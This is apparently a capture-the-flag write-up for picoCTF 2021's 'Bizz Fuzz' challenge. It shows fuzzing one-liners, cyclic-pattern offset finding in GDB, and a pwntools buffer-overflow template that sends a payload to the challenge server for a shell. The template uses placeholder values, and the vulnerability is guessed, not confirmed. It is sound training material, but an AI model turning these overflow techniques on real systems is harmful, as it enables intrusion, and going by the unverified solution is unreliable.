picoCTF Solutions
picoCTF 2021Binary ExploitationHard

Bizz Fuzz picoCTF 2021 Solution

Published: April 2, 2026

Description

Fuzz this binary to find a crash, then exploit the vulnerability to get a shell and read the flag.

Setup

Download the binary and set up your fuzzing environment.

bash
wget https://mercury.picoctf.net/static/.../bizzfuzz
bash
chmod +x bizzfuzz
bash
checksec bizzfuzz

Solution

Walk me through it
  1. Step 1Manually fuzz with numeric and oversized inputs
    FizzBuzz reads integers, so probe numeric inputs first: edges (0, -1, INT_MAX), oversized digit strings, and long alphabetic strings to test any numeric parser plus any string buffer downstream.
    python
    python3 -c "print(2**31 - 1)" | ./bizzfuzz
    python
    python3 -c "print(-1)" | ./bizzfuzz
    python
    python3 -c "print('9' * 200)" | ./bizzfuzz
    bash
    for i in 10 50 100 200 500 1000; do echo "len=$i"; python3 -c "print('A'*$i)" | ./bizzfuzz 2>&1 | tail -2; done
    Learn more

    Fuzzing sends malformed inputs to trigger unexpected behavior. A crash typically indicates a memory corruption bug (buffer overflow, use-after-free) that may be exploitable.

    For a CTF challenge with a known vulnerability and a small input surface, a targeted manual sweep almost always reaches the bug faster than wiring up AFL (American Fuzzy Lop) - the industry-standard coverage-guided fuzzer. AFL shines when you have no idea where the bug lives in a large input surface; here the FizzBuzz framing tells you the parser eats integers, so probe the integer parser and any output buffer it builds.

  2. Step 2Find the offset to RIP with a cyclic pattern
    Send a cyclic pattern over the network using nc, then attach GDB to inspect crash state. Pass the value sitting in RIP at crash time to cyclic_find to derive the byte offset.
    python
    python3 -c "from pwn import *; sys.stdout.buffer.write(cyclic(200))" | nc <host> <PORT>
    bash
    # Locally, observe the crash state in GDB:
    bash
    gdb -q ./bizzfuzz -ex 'run < <(python3 -c "from pwn import *; sys.stdout.buffer.write(cyclic(200))")' -ex 'info registers'
    bash
    # Then plug the value seen in RIP/EIP into cyclic_find:
    python
    python3 -c "from pwn import *; print(cyclic_find(0x6161616a))"
    Learn more

    After triggering the crash, GDB shows the crash state. The key question: can you control RIP/EIP? If the value in RIP at crash time matches part of your cyclic pattern, you have a controllable overflow and the offset comes straight from cyclic_find.

  3. Step 3Exploit the vulnerability
    Build the exploit based on the vulnerability type identified. For a buffer overflow, find the offset and overwrite the return address. Use pwntools to build and send the exploit.
    python
    python3 - <<'EOF'
from pwn import *

e = ELF('./bizzfuzz')
p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>)

# Build exploit based on identified vulnerability
offset = 0  # from cyclic_find
win_addr = e.sym.get('win', 0) or 0  # or ROP chain

payload = b'A' * offset + p64(win_addr)
p.sendline(payload)
p.interactive()
EOF
    Learn more

    The name "Bizz Fuzz" is a play on FizzBuzz, the classic programming interview problem. The binary implements some variant of FizzBuzz and processes input in a way that has an exploitable boundary condition - typically an off-by-one or unbounded copy in the fizz/buzz string formatting. For the underlying overflow mechanics and ret2win shape, see the buffer overflow guide.

Flag

picoCTF{...}

Fuzzing reveals crash conditions that static analysis might miss - find the crashing input, identify the vulnerability type in GDB, then build a targeted exploit payload.

Want more picoCTF 2021 writeups?

Browse picoCTF 2021Full library

Useful tools for Binary Exploitation

Related reading

What to try next